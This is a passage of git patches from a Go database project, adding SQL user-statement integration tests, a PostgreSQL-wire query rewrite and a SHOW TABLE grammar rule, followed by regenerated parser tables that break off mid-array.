err != nil { return err } From 2f215a47429b51625e596a6720be294317860dd4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 13 Nov 2023 12:16:00 +0100 Subject: [PATCH 0925/1062] test(pkg/integration): user stmts Signed-off-by: Jeronimo Irazabal --- pkg/integration/sql/sql_test.go | 89 +++++++++++++++++++++++++++++++++ pkg/server/servertest/server.go | 1 - 2 files changed, 89 insertions(+), 1 deletion(-) diff --git a/pkg/integration/sql/sql_test.go b/pkg/integration/sql/sql_test.go index 383291498f..ca2b8c2b59 100644 --- a/pkg/integration/sql/sql_test.go +++ b/pkg/integration/sql/sql_test.go @@ -258,6 +258,95 @@ func TestImmuClient_SQL(t *testing.T) { }) } +func TestImmuClient_SQL_UserStmts(t *testing.T) { + options := server.DefaultOptions().WithDir(t.TempDir()) + bs := servertest.NewBufconnServer(options) + + bs.Start() + defer bs.Stop() + + client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir())) + require.NoError(t, err) + defer client.CloseSession(context.Background()) + + users, err := client.SQLQuery(context.Background(), "SHOW USERS", nil, true) + require.NoError(t, err) + require.Len(t, users.Rows, 1) + + _, err = client.SQLExec(context.Background(), "CREATE USER user1 WITH PASSWORD 'user1Password!' READ", nil) + require.NoError(t, err) + + _, err = client.SQLExec(context.Background(), "CREATE USER user2 WITH PASSWORD 'user2Password!' READWRITE", nil) + require.NoError(t, err) + + _, err = client.SQLExec(context.Background(), "CREATE USER user3 WITH PASSWORD 'user3Password!' ADMIN", nil) + require.NoError(t, err) + + users, err = client.SQLQuery(context.Background(), "SHOW USERS", nil, true) + require.NoError(t, err) + require.Len(t, users.Rows, 4) + + user1Client := bs.NewClient(ic.DefaultOptions()) + + err = user1Client.OpenSession( + context.Background(), + []byte("user1"), + []byte("user1Password!"), + "defaultdb", + ) + require.NoError(t, err) + + err = user1Client.CloseSession(context.Background()) + require.NoError(t, err) + + _, err = client.SQLExec(context.Background(), "ALTER USER user1 WITH PASSWORD 'user1Password!!' READWRITE", nil) + require.NoError(t, err) + + err = user1Client.OpenSession( + context.Background(), + []byte("user1"), + []byte("user1Password!"), + "defaultdb", + ) + require.ErrorContains(t, err, "invalid user name or password") + + err = user1Client.OpenSession( + context.Background(), + []byte("user1"), + []byte("user1Password!!"), + "defaultdb", + ) + require.NoError(t, err) + + err = user1Client.CloseSession(context.Background()) + require.NoError(t, err) + + users, err = client.SQLQuery(context.Background(), "SHOW USERS", nil, true) + require.NoError(t, err) + require.Len(t, users.Rows, 4) + + _, err = client.SQLExec(context.Background(), "DROP USER user1", nil) + require.NoError(t, err) + + users, err = client.SQLQuery(context.Background(), "SHOW USERS", nil, true) + require.NoError(t, err) + require.Len(t, users.Rows, 3) + + err = user1Client.OpenSession( + context.Background(), + []byte("user1"), + []byte("user1Password!!"), + "defaultdb", + ) + require.ErrorContains(t, err, "user is not active") + + _, err = client.SQLExec(context.Background(), "CREATE USER user2 WITH PASSWORD 'user2Password!' READWRITE", nil) + require.ErrorContains(t, err, "user already exists") + + _, err = client.SQLExec(context.Background(), "ALTER USER user4 WITH PASSWORD 'user4Password!!' ADMIN", nil) + require.ErrorContains(t, err, "not found") +} + func TestImmuClient_SQL_Errors(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) diff --git a/pkg/server/servertest/server.go b/pkg/server/servertest/server.go index 1cca2af880..a0b79e0a8f 100644 --- a/pkg/server/servertest/server.go +++ b/pkg/server/servertest/server.go @@ -178,7 +178,6 @@ func (bs *BufconnServer) NewAuthenticatedClient(options *client.Options) (client []byte(bs.Server.Srv.Options.AdminPassword), bs.Server.Srv.Options.GetDefaultDBName(), ) - if err != nil { return nil, err } From cabb0465844fa0186f3b911565329618649b5b6e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 13 Nov 2023 12:38:44 +0100 Subject: [PATCH 0926/1062] test(pkg/integration): user stmts Signed-off-by: Jeronimo Irazabal --- pkg/integration/sql/sql_test.go | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/pkg/integration/sql/sql_test.go b/pkg/integration/sql/sql_test.go index ca2b8c2b59..47c23c43de 100644 --- a/pkg/integration/sql/sql_test.go +++ b/pkg/integration/sql/sql_test.go @@ -273,10 +273,10 @@ func TestImmuClient_SQL_UserStmts(t *testing.T) { require.NoError(t, err) require.Len(t, users.Rows, 1) - _, err = client.SQLExec(context.Background(), "CREATE USER user1 WITH PASSWORD 'user1Password!' READ", nil) + _, err = client.SQLExec(context.Background(), "CREATE USER user1 WITH PASSWORD 'user1Password!' READWRITE", nil) require.NoError(t, err) - _, err = client.SQLExec(context.Background(), "CREATE USER user2 WITH PASSWORD 'user2Password!' READWRITE", nil) + _, err = client.SQLExec(context.Background(), "CREATE USER user2 WITH PASSWORD 'user2Password!' READ", nil) require.NoError(t, err) _, err = client.SQLExec(context.Background(), "CREATE USER user3 WITH PASSWORD 'user3Password!' ADMIN", nil) @@ -299,7 +299,7 @@ func TestImmuClient_SQL_UserStmts(t *testing.T) { err = user1Client.CloseSession(context.Background()) require.NoError(t, err) - _, err = client.SQLExec(context.Background(), "ALTER USER user1 WITH PASSWORD 'user1Password!!' READWRITE", nil) + _, err = client.SQLExec(context.Background(), "ALTER USER user1 WITH PASSWORD 'user1Password!!' READ", nil) require.NoError(t, err) err = user1Client.OpenSession( @@ -343,8 +343,20 @@ func TestImmuClient_SQL_UserStmts(t *testing.T) { _, err = client.SQLExec(context.Background(), "CREATE USER user2 WITH PASSWORD 'user2Password!' READWRITE", nil) require.ErrorContains(t, err, "user already exists") - _, err = client.SQLExec(context.Background(), "ALTER USER user4 WITH PASSWORD 'user4Password!!' ADMIN", nil) + _, err = client.SQLExec(context.Background(), "ALTER USER user4 WITH PASSWORD 'user4Password!!' READWRITE", nil) require.ErrorContains(t, err, "not found") + + _, err = user1Client.SQLExec(context.Background(), "SHOW USERS", nil) + require.ErrorContains(t, err, "not connected") + + _, err = user1Client.SQLExec(context.Background(), "CREATE USER user4 WITH PASSWORD 'user4Password!' READWRITE", nil) + require.ErrorContains(t, err, "not connected") + + _, err = user1Client.SQLExec(context.Background(), "ALTER USER user4 WITH PASSWORD 'user4Password!!' READWRITE", nil) + require.ErrorContains(t, err, "not connected") + + _, err = user1Client.SQLExec(context.Background(), "DROP USER user3", nil) + require.ErrorContains(t, err, "not connected") } func TestImmuClient_SQL_Errors(t *testing.T) { From 5b42f80dc7c04d45cbb3909dc926c1d113fc4dfe Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 13 Nov 2023 14:45:47 +0100 Subject: [PATCH 0927/1062] chore(pkg/pgsql): show table/s Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/query_machine.go | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 5fe5ac9c5e..4ad6bec9b8 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -64,7 +64,20 @@ func (s *session) QueryMachine() error { case fm.TerminateMsg: return s.mr.CloseConnection() case fm.QueryMsg: - err := s.fetchAndWriteResults(v.GetStatements(), nil, nil, extQueryMode) + statements := v.GetStatements() + + if statements == "select relname, nspname, relkind from pg_catalog.pg_class c, pg_catalog.pg_namespace n where relkind in ('r', 'v', 'm', 'f', 'p') and nspname not in ('pg_catalog', 'information_schema', 'pg_toast', 'pg_temp_1') and n.oid = relnamespace order by nspname, relname" { + statements = "show tables" + } + + tableHelpPrefix := "select n.nspname, c.relname, a.attname, a.atttypid, t.typname, a.attnum, a.attlen, a.atttypmod, a.attnotnull, c.relhasrules, c.relkind, c.oid, pg_get_expr(d.adbin, d.adrelid), case t.typtype when 'd' then t.typbasetype else 0 end, t.typtypmod, c.relhasoids, '', c.relhassubclass from (((pg_catalog.pg_class c inner join pg_catalog.pg_namespace n on n.oid = c.relnamespace and c.relname like '" + + if strings.HasPrefix(statements, tableHelpPrefix) { + tableName := strings.Split(strings.TrimPrefix(statements, tableHelpPrefix), "'")[0] + statements = fmt.Sprintf("select column_name, type_name, is_nullable from table(%s)", tableName) + } + + err := s.fetchAndWriteResults(statements, nil, nil, extQueryMode) if err != nil { waitForSync = extQueryMode s.HandleError(err) From 5f7ac4d265a1f1ac631e0820b6fb3b1b6da72ae4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 13 Nov 2023 14:46:30 +0100 Subject: [PATCH 0928/1062] feat(embedded/sql): show table stmt Signed-off-by: Jeronimo Irazabal --- embedded/sql/sql_grammar.y | 12 + embedded/sql/sql_parser.go | 543 +++++++++++++++++++------------------ embedded/sql/stmt.go | 87 ++++++ 3 files changed, 379 insertions(+), 263 deletions(-) diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 8dc8f88d6b..49f44cca96 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -576,6 +576,13 @@ dqlstmt: ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}}, } } +| + SHOW TABLE IDENTIFIER + { + $$ = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: $3}}}}, + } + } | SHOW USERS { @@ -695,6 +702,11 @@ ds: { $$ = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: $4} } +| + TABLE '(' IDENTIFIER ')' + { + $$ = &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: $3}}}} + } | USERS '(' ')' opt_as { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 39f1bc9b3a..da02cf942b 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -263,116 +263,117 @@ var yyExca = [...]int16{ -1, 1, 1, -1, -2, 0, - -1, 91, - 65, 159, - 68, 159, - -2, 147, - -1, 224, - 51, 123, - -2, 118, - -1, 263, - 51, 123, + -1, 93, + 65, 161, + 68, 161, + -2, 149, + -1, 227, + 51, 125, -2, 120, + -1, 267, + 51, 125, + -2, 122, } const yyPrivate = 57344 -const yyLast = 441 +const yyLast = 447 var yyAct = [...]int16{ - 90, 353, 76, 218, 127, 256, 167, 285, 289, 105, - 173, 206, 164, 262, 284, 6, 119, 207, 239, 187, - 56, 122, 96, 20, 324, 176, 177, 178, 276, 216, - 275, 335, 249, 180, 328, 216, 216, 329, 325, 93, - 309, 319, 95, 307, 277, 89, 108, 104, 216, 19, - 175, 216, 310, 106, 107, 146, 250, 290, 109, 217, - 99, 100, 101, 102, 103, 77, 308, 144, 145, 75, - 94, 271, 270, 269, 291, 98, 214, 267, 248, 246, - 140, 141, 143, 142, 234, 233, 124, 204, 215, 93, - 139, 146, 95, 131, 150, 151, 108, 104, 286, 153, - 245, 155, 238, 106, 107, 155, 230, 229, 109, 228, - 99, 100, 101, 102, 103, 77, 140, 141, 143, 142, - 94, 169, 306, 189, 156, 98, 154, 152, 133, 130, - 118, 166, 117, 184, 22, 179, 352, 78, 170, 146, - 78, 192, 193, 194, 195, 196, 197, 77, 313, 181, - 183, 144, 145, 73, 247, 205, 208, 346, 312, 249, - 235, 216, 146, 131, 140, 141, 143, 142, 203, 209, - 120, 126, 146, 223, 144, 145, 146, 221, 210, 112, - 224, 88, 191, 305, 231, 145, 232, 140, 141, 143, - 142, 226, 129, 222, 281, 225, 272, 140, 141, 143, - 142, 244, 237, 143, 142, 30, 78, 61, 236, 202, - 171, 78, 31, 77, 128, 312, 165, 297, 283, 254, - 258, 123, 213, 212, 211, 260, 188, 190, 185, 182, - 266, 157, 134, 252, 111, 81, 79, 41, 65, 64, - 63, 110, 60, 55, 54, 172, 208, 188, 265, 227, - 282, 278, 43, 44, 45, 273, 149, 20, 288, 323, - 304, 279, 243, 280, 62, 148, 292, 303, 137, 138, - 287, 322, 296, 146, 298, 299, 300, 294, 293, 132, - 50, 29, 20, 19, 10, 12, 11, 208, 199, 71, - 200, 80, 42, 201, 338, 198, 354, 355, 314, 257, - 219, 345, 332, 49, 315, 179, 318, 13, 19, 317, - 320, 120, 331, 295, 7, 125, 8, 9, 14, 15, - 326, 39, 16, 17, 334, 333, 47, 336, 20, 51, - 52, 343, 339, 327, 69, 341, 255, 253, 38, 37, - 23, 344, 301, 347, 159, 160, 161, 174, 350, 351, - 348, 158, 251, 93, 19, 356, 95, 83, 357, 115, - 108, 104, 342, 259, 135, 40, 82, 106, 107, 220, - 53, 2, 109, 34, 99, 100, 101, 102, 103, 77, - 24, 28, 113, 114, 94, 66, 67, 68, 32, 98, - 33, 36, 268, 116, 48, 84, 25, 27, 26, 87, - 86, 58, 59, 240, 241, 242, 35, 162, 136, 168, - 21, 311, 121, 147, 302, 321, 337, 349, 274, 316, - 92, 91, 330, 264, 263, 261, 85, 57, 70, 46, - 74, 72, 97, 340, 163, 186, 18, 5, 4, 3, - 1, + 92, 359, 78, 221, 129, 260, 169, 290, 294, 107, + 175, 209, 166, 289, 266, 6, 210, 121, 243, 190, + 57, 124, 98, 330, 20, 281, 219, 280, 253, 219, + 219, 219, 341, 219, 335, 334, 315, 313, 282, 254, + 95, 220, 331, 97, 325, 316, 314, 110, 106, 305, + 19, 91, 180, 276, 108, 109, 148, 295, 274, 111, + 273, 101, 102, 103, 104, 105, 79, 271, 146, 147, + 77, 96, 252, 250, 296, 291, 100, 133, 238, 237, + 218, 142, 143, 145, 144, 157, 249, 126, 207, 242, + 157, 234, 141, 233, 232, 95, 152, 153, 97, 231, + 192, 155, 110, 106, 178, 179, 181, 158, 156, 108, + 109, 154, 183, 135, 111, 132, 101, 102, 103, 104, + 105, 79, 120, 171, 119, 22, 96, 148, 358, 177, + 352, 100, 251, 168, 122, 187, 148, 182, 318, 253, + 148, 172, 239, 195, 196, 197, 198, 199, 200, 147, + 319, 184, 146, 147, 145, 144, 80, 208, 211, 219, + 133, 142, 143, 145, 144, 142, 143, 145, 144, 186, + 206, 212, 128, 148, 173, 226, 114, 80, 90, 224, + 213, 148, 227, 217, 79, 146, 147, 235, 194, 236, + 75, 312, 311, 229, 286, 225, 80, 228, 142, 143, + 145, 144, 131, 79, 248, 241, 142, 143, 145, 144, + 277, 30, 240, 205, 10, 12, 11, 318, 31, 80, + 62, 167, 302, 262, 130, 288, 275, 258, 264, 125, + 216, 215, 214, 270, 191, 193, 256, 13, 188, 112, + 185, 159, 136, 113, 7, 83, 8, 9, 14, 15, + 211, 81, 16, 17, 287, 283, 73, 41, 20, 278, + 66, 191, 293, 65, 64, 284, 285, 139, 140, 61, + 297, 56, 55, 292, 174, 269, 301, 63, 303, 304, + 151, 306, 299, 298, 19, 329, 310, 29, 20, 150, + 45, 247, 211, 309, 230, 202, 328, 148, 95, 134, + 82, 97, 201, 320, 203, 110, 106, 204, 51, 321, + 182, 324, 108, 109, 19, 72, 326, 111, 42, 101, + 102, 103, 104, 105, 79, 261, 332, 20, 344, 96, + 340, 339, 360, 361, 100, 351, 50, 222, 345, 338, + 323, 347, 43, 44, 46, 122, 337, 350, 300, 353, + 127, 39, 48, 19, 356, 357, 354, 349, 342, 333, + 70, 362, 52, 53, 363, 176, 259, 257, 38, 37, + 23, 307, 161, 162, 163, 160, 117, 255, 348, 24, + 28, 263, 137, 40, 84, 223, 54, 36, 2, 272, + 164, 85, 34, 89, 88, 25, 27, 26, 138, 115, + 116, 118, 35, 67, 68, 69, 86, 32, 170, 33, + 21, 49, 59, 60, 244, 245, 246, 317, 123, 149, + 308, 327, 343, 355, 279, 322, 94, 93, 336, 268, + 267, 265, 87, 58, 71, 47, 76, 74, 99, 346, + 165, 189, 18, 5, 4, 3, 1, } var yyPact = [...]int16{ - 280, -1000, -1000, 35, -1000, -1000, -1000, 305, -1000, -1000, - 373, 198, 365, 383, 299, 298, 271, 154, 230, 177, - 277, -1000, 280, -1000, 214, 214, 214, 345, 161, -1000, - 160, 385, 159, 181, 157, 156, 155, 154, 154, 154, - 290, -1000, 226, -1000, -1000, -1000, 57, -1000, -1000, 153, - 227, 152, 340, 214, 386, -1000, -1000, 381, 25, 25, - -1000, 151, 87, -1000, 354, 384, 32, 30, 258, 138, - 209, -1000, 265, -1000, 78, 131, -1000, 29, 71, -1000, - 212, 28, 149, 338, 398, -1000, 25, 25, -1000, 289, - 70, 192, -1000, 289, 289, 27, -1000, -1000, 289, -1000, - -1000, -1000, -1000, -1000, 26, -1000, -1000, -1000, -1000, 1, - -1000, 24, 148, 320, 314, 315, 397, 133, 133, 403, - 289, 117, -1000, 163, -1000, -50, 123, -1000, -1000, 146, - 54, 145, -1000, 143, 23, 144, 95, -1000, -1000, 70, - 289, 289, 289, 289, 289, 289, 224, 225, 125, -1000, - 103, 107, 209, -14, 289, 289, 133, -1000, 143, 141, - 140, 139, -11, -13, 68, -1000, -42, 244, 344, 70, - 403, 138, 289, 403, 385, 234, 9, 7, 6, 131, - 5, 131, -1000, -16, -17, -1000, 67, -1000, 124, 133, - 2, 392, 107, 107, 204, 204, 103, 22, -1000, 191, - 289, 0, -1000, -22, -1000, 93, -23, 66, 70, -45, - -1000, -1000, 322, -1000, 392, 296, 136, 295, 242, 289, - 337, 244, -1000, 70, 168, 131, -24, 371, -28, -29, - -30, -1000, -1000, -1000, -1000, 164, -72, -57, 133, -1000, - -1000, -1000, -1000, -1000, 103, -25, -1000, 110, -1000, 289, - -1000, 135, -1000, -2, -1000, -2, -1000, 289, 70, -26, - 242, 258, -1000, 168, 262, -1000, -1000, 131, 134, 131, - 131, 131, 309, -1000, 196, 98, 37, -1000, -58, -35, - -61, -49, 70, -1000, 122, -1000, 289, 65, 70, -1000, - -1000, 133, -1000, 255, -1000, -50, -1000, -60, -1000, -1000, - -1000, -26, 201, -1000, 188, -79, -63, -1000, -1000, -1000, - -1000, -1000, -2, 288, -67, -64, 260, 247, 403, 131, - -70, -1000, -1000, -1000, -1000, -1000, -1000, 281, -1000, -1000, - 236, 289, 128, 336, -1000, -1000, 284, 244, 246, 70, - 64, -1000, 289, -1000, 242, 128, 128, 70, -1000, 43, - 237, -1000, 128, -1000, -1000, -1000, 237, -1000, + 210, -1000, -1000, 26, -1000, -1000, -1000, 335, -1000, -1000, + 372, 204, 384, 379, 329, 328, 301, 174, 256, 267, + 303, -1000, 210, -1000, 242, 242, 242, 361, 189, -1000, + 188, 396, 186, 194, 181, 180, 177, 174, 174, 174, + 316, -1000, 252, -1000, -1000, 173, -1000, 94, -1000, -1000, + 168, 236, 162, 358, 242, 397, -1000, -1000, 375, 31, + 31, -1000, 160, 84, -1000, 371, 392, 24, 22, 292, + 146, 240, -1000, -1000, 300, -1000, 79, 141, -1000, 15, + 68, -1000, 232, 13, 159, 356, 388, -1000, 31, 31, + -1000, 234, 104, 216, -1000, 234, 234, 11, -1000, -1000, + 234, -1000, -1000, -1000, -1000, -1000, 8, -1000, -1000, -1000, + -1000, -15, -1000, 7, 158, 344, 342, 343, 380, 138, + 138, 402, 234, 81, -1000, 192, -1000, 29, 113, -1000, + -1000, 157, 73, 155, -1000, 151, 0, 152, 101, -1000, + -1000, 104, 234, 234, 234, 234, 234, 234, 231, 239, + 129, -1000, 67, 58, 240, -13, 234, 234, 138, -1000, + 151, 149, 148, 147, 96, -21, 66, -1000, -60, 281, + 360, 104, 402, 146, 234, 402, 396, 279, -1, -6, + -7, -9, 141, -10, 141, -1000, -22, -23, -1000, 49, + -1000, 128, 138, -11, 403, 58, 58, 228, 228, 67, + 112, -1000, 220, 234, -14, -1000, -28, -1000, 71, -29, + 46, 104, -62, -1000, -1000, 347, -1000, 403, 326, 144, + 325, 268, 234, 355, 281, -1000, 104, 195, 141, -34, + 368, -41, -43, 143, -48, -1000, -1000, -1000, -1000, 178, + -75, -63, 138, -1000, -1000, -1000, -1000, -1000, 67, -24, + -1000, 110, -1000, 234, -1000, 142, -1000, -25, -1000, -25, + -1000, 234, 104, -26, 268, 292, -1000, 195, 297, -1000, + -1000, 141, 139, 141, 141, -52, 141, 338, -1000, 222, + 107, 106, -1000, -64, -55, -65, -56, 104, -1000, 124, + -1000, 234, 45, 104, -1000, -1000, 138, -1000, 286, -1000, + 29, -1000, -57, -1000, -1000, -1000, -1000, -26, 226, -1000, + 214, -80, -59, -1000, -1000, -1000, -1000, -1000, -25, 314, + -66, -67, 294, 284, 402, 141, -69, -1000, -1000, -1000, + -1000, -1000, -1000, 312, -1000, -1000, 270, 234, 136, 352, + -1000, -1000, 310, 281, 280, 104, 37, -1000, 234, -1000, + 268, 136, 136, 104, -1000, 35, 273, -1000, 136, -1000, + -1000, -1000, 273, -1000, } var yyPgo = [...]int16{ - 0, 440, 371, 439, 438, 437, 15, 436, 435, 19, - 12, 8, 434, 433, 14, 7, 17, 11, 432, 9, - 22, 431, 430, 2, 429, 428, 10, 347, 20, 427, - 426, 181, 425, 13, 424, 423, 0, 16, 422, 421, - 420, 419, 3, 5, 418, 4, 417, 416, 1, 6, - 303, 415, 414, 413, 21, 412, 411, 18, 410, + 0, 446, 388, 445, 444, 443, 15, 442, 441, 19, + 12, 8, 440, 439, 13, 7, 16, 11, 438, 9, + 22, 437, 436, 2, 435, 434, 10, 365, 20, 433, + 432, 178, 431, 14, 430, 429, 0, 17, 428, 427, + 426, 425, 3, 5, 424, 4, 423, 422, 1, 6, + 336, 421, 420, 419, 21, 418, 417, 18, 410, } var yyR1 = [...]int8{ @@ -384,15 +385,16 @@ var yyR1 = [...]int8{ 14, 15, 10, 10, 13, 13, 17, 17, 16, 16, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 8, 8, 9, 44, 44, 44, 51, 51, 52, - 52, 52, 6, 6, 6, 6, 6, 7, 25, 25, - 24, 24, 21, 21, 22, 22, 20, 20, 20, 23, - 23, 26, 26, 26, 26, 26, 26, 26, 27, 28, - 29, 29, 29, 30, 30, 30, 31, 31, 32, 32, - 33, 33, 34, 35, 35, 37, 37, 41, 41, 38, - 38, 42, 42, 43, 43, 47, 47, 49, 49, 46, - 46, 48, 48, 48, 45, 45, 45, 36, 36, 36, - 36, 36, 36, 36, 36, 39, 39, 39, 39, 53, - 53, 40, 40, 40, 40, 40, 40, 40, 40, + 52, 52, 6, 6, 6, 6, 6, 6, 7, 25, + 25, 24, 24, 21, 21, 22, 22, 20, 20, 20, + 23, 23, 26, 26, 26, 26, 26, 26, 26, 26, + 27, 28, 29, 29, 29, 30, 30, 30, 31, 31, + 32, 32, 33, 33, 34, 35, 35, 37, 37, 41, + 41, 38, 38, 42, 42, 43, 43, 47, 47, 49, + 49, 46, 46, 48, 48, 48, 45, 45, 45, 36, + 36, 36, 36, 36, 36, 36, 36, 39, 39, 39, + 39, 53, 53, 40, 40, 40, 40, 40, 40, 40, + 40, } var yyR2 = [...]int8{ @@ -404,15 +406,16 @@ var yyR2 = [...]int8{ 3, 3, 1, 3, 1, 3, 0, 1, 1, 3, 1, 1, 1, 1, 1, 6, 1, 1, 1, 1, 4, 1, 3, 5, 0, 3, 3, 0, 1, 0, - 1, 2, 1, 4, 2, 2, 2, 13, 0, 1, - 0, 1, 1, 1, 2, 4, 1, 4, 4, 1, - 3, 3, 4, 4, 4, 4, 2, 6, 1, 2, - 0, 2, 2, 0, 2, 2, 2, 1, 0, 1, - 1, 2, 6, 0, 1, 0, 2, 0, 3, 0, - 2, 0, 2, 0, 2, 0, 3, 0, 4, 2, - 4, 0, 1, 1, 0, 1, 2, 1, 1, 2, - 2, 4, 4, 6, 6, 1, 1, 3, 3, 0, - 1, 3, 3, 3, 3, 3, 3, 3, 4, + 1, 2, 1, 4, 2, 2, 3, 2, 13, 0, + 1, 0, 1, 1, 1, 2, 4, 1, 4, 4, + 1, 3, 3, 4, 4, 4, 4, 4, 2, 6, + 1, 2, 0, 2, 2, 0, 2, 2, 2, 1, + 0, 1, 1, 2, 6, 0, 1, 0, 2, 0, + 3, 0, 2, 0, 2, 0, 2, 0, 3, 0, + 4, 2, 4, 0, 1, 1, 0, 1, 2, 1, + 1, 2, 2, 4, 4, 6, 6, 1, 1, 3, + 3, 0, 1, 3, 3, 3, 3, 3, 3, 3, + 4, } var yyChk = [...]int16{ @@ -420,77 +423,79 @@ var yyChk = [...]int16{ 4, 6, 5, 27, 38, 39, 42, 43, -7, 74, 48, -58, 99, 35, 7, 23, 25, 24, 8, 83, 7, 14, 23, 25, 8, 23, 8, 40, 40, 50, - -27, 83, 62, 75, 76, 77, -24, 49, -2, -50, - 66, -50, -50, 25, 83, 83, -28, -29, 16, 17, - 83, 26, 83, 83, 83, 83, -27, -27, -27, 44, - -25, 63, -21, 96, -22, -20, -23, 90, 83, 83, - 64, 83, 26, -50, 9, -30, 19, 18, -31, 20, - -36, -39, -40, 64, 95, 67, -20, -18, 100, 85, - 86, 87, 88, 89, 72, -19, 78, 79, 71, 83, - -31, 83, 92, 28, 29, 5, 9, 100, 100, -37, - 53, -55, -54, 83, -6, 50, 93, -45, 83, 61, - 100, 92, 67, 100, 83, 26, 10, -31, -31, -36, - 94, 95, 97, 96, 81, 82, 69, -53, 73, 64, - -36, -36, 100, -36, 100, 100, 100, 83, 31, 30, - 31, 31, 10, -12, -10, 83, -10, -49, 6, -36, - -37, 93, 82, -26, -27, 100, 75, 76, 77, -19, - 83, -20, 83, 96, -23, 83, -8, -9, 83, 100, - 83, 87, -36, -36, -36, -36, -36, -36, 71, 64, - 65, 68, 84, -6, 101, -36, -17, -16, -36, -10, - -9, 83, 83, 83, 87, 101, 93, 101, -42, 56, - 25, -49, -54, -36, -49, -28, -6, 15, 100, 100, - 100, -45, -45, 101, 101, 93, 84, -10, 100, -57, - 11, 12, 13, 71, -36, 100, 101, 61, 101, 93, - 101, 30, -57, 41, 83, 41, -43, 57, -36, 26, - -42, -32, -33, -34, -35, 80, -45, 101, 21, 101, - 101, 101, 32, -9, -44, 102, 100, 101, -10, -6, - -16, 84, -36, 83, -14, -15, 100, -14, -36, -11, - 83, 100, -43, -37, -33, 51, -45, 83, -45, -45, - -45, 33, -52, 71, 64, 85, 85, 101, 101, 101, - 101, -56, 93, 26, -17, -10, -41, 54, -26, 101, - -11, -51, 70, 71, 103, 101, -15, 45, 101, 101, - -38, 52, 55, -49, -45, 101, 46, -47, 58, -36, - -13, -23, 26, 47, -42, 55, 93, -36, -43, -46, - -23, -23, 93, -48, 59, 60, -23, -48, + -27, 83, 62, 75, 76, 23, 77, -24, 49, -2, + -50, 66, -50, -50, 25, 83, 83, -28, -29, 16, + 17, 83, 26, 83, 83, 83, 83, -27, -27, -27, + 44, -25, 63, 83, -21, 96, -22, -20, -23, 90, + 83, 83, 64, 83, 26, -50, 9, -30, 19, 18, + -31, 20, -36, -39, -40, 64, 95, 67, -20, -18, + 100, 85, 86, 87, 88, 89, 72, -19, 78, 79, + 71, 83, -31, 83, 92, 28, 29, 5, 9, 100, + 100, -37, 53, -55, -54, 83, -6, 50, 93, -45, + 83, 61, 100, 92, 67, 100, 83, 26, 10, -31, + -31, -36, 94, 95, 97, 96, 81, 82, 69, -53, + 73, 64, -36, -36, 100, -36, 100, 100, 100, 83, + 31, 30, 31, 31, 10, -12, -10, 83, -10, -49, + 6, -36, -37, 93, 82, -26, -27, 100, 75, 76, + 23, 77, -19, 83, -20, 83, 96, -23, 83, -8, + -9, 83, 100, 83, 87, -36, -36, -36, -36, -36, + -36, 71, 64, 65, 68, 84, -6, 101, -36, -17, + -16, -36, -10, -9, 83, 83, 83, 87, 101, 93, + 101, -42, 56, 25, -49, -54, -36, -49, -28, -6, + 15, 100, 100, 100, 100, -45, -45, 101, 101, 93, + 84, -10, 100, -57, 11, 12, 13, 71, -36, 100, + 101, 61, 101, 93, 101, 30, -57, 41, 83, 41, + -43, 57, -36, 26, -42, -32, -33, -34, -35, 80, + -45, 101, 21, 101, 101, 83, 101, 32, -9, -44, + 102, 100, 101, -10, -6, -16, 84, -36, 83, -14, + -15, 100, -14, -36, -11, 83, 100, -43, -37, -33, + 51, -45, 83, -45, -45, 101, -45, 33, -52, 71, + 64, 85, 85, 101, 101, 101, 101, -56, 93, 26, + -17, -10, -41, 54, -26, 101, -11, -51, 70, 71, + 103, 101, -15, 45, 101, 101, -38, 52, 55, -49, + -45, 101, 46, -47, 58, -36, -13, -23, 26, 47, + -42, 55, 93, -36, -43, -46, -23, -23, 93, -48, + 59, 60, -23, -48, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, - 90, 2, 5, 9, 34, 34, 34, 0, 0, 14, - 0, 110, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 108, 88, 84, 85, 86, 0, 91, 3, 0, - 0, 0, 0, 34, 0, 15, 16, 113, 0, 0, - 18, 0, 0, 29, 0, 0, 0, 0, 125, 0, - 0, 89, 0, 92, 93, 144, 96, 0, 99, 13, - 0, 0, 0, 0, 0, 109, 0, 0, 111, 0, - 117, -2, 148, 0, 0, 0, 155, 156, 0, 60, - 61, 62, 63, 64, 0, 66, 67, 68, 69, 99, - 112, 0, 0, 0, 0, 0, 0, 47, 0, 137, - 0, 125, 44, 0, 83, 0, 0, 94, 145, 0, - 0, 0, 35, 0, 0, 0, 0, 114, 115, 116, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 160, - 149, 150, 0, 0, 0, 56, 0, 22, 0, 0, - 0, 0, 0, 0, 48, 52, 0, 131, 0, 126, - 137, 0, 0, 137, 110, 0, 0, 0, 0, 144, - 108, 144, 146, 0, 0, 100, 0, 71, 0, 0, - 0, 30, 161, 162, 163, 164, 165, 166, 167, 0, - 0, 0, 158, 0, 157, 0, 0, 57, 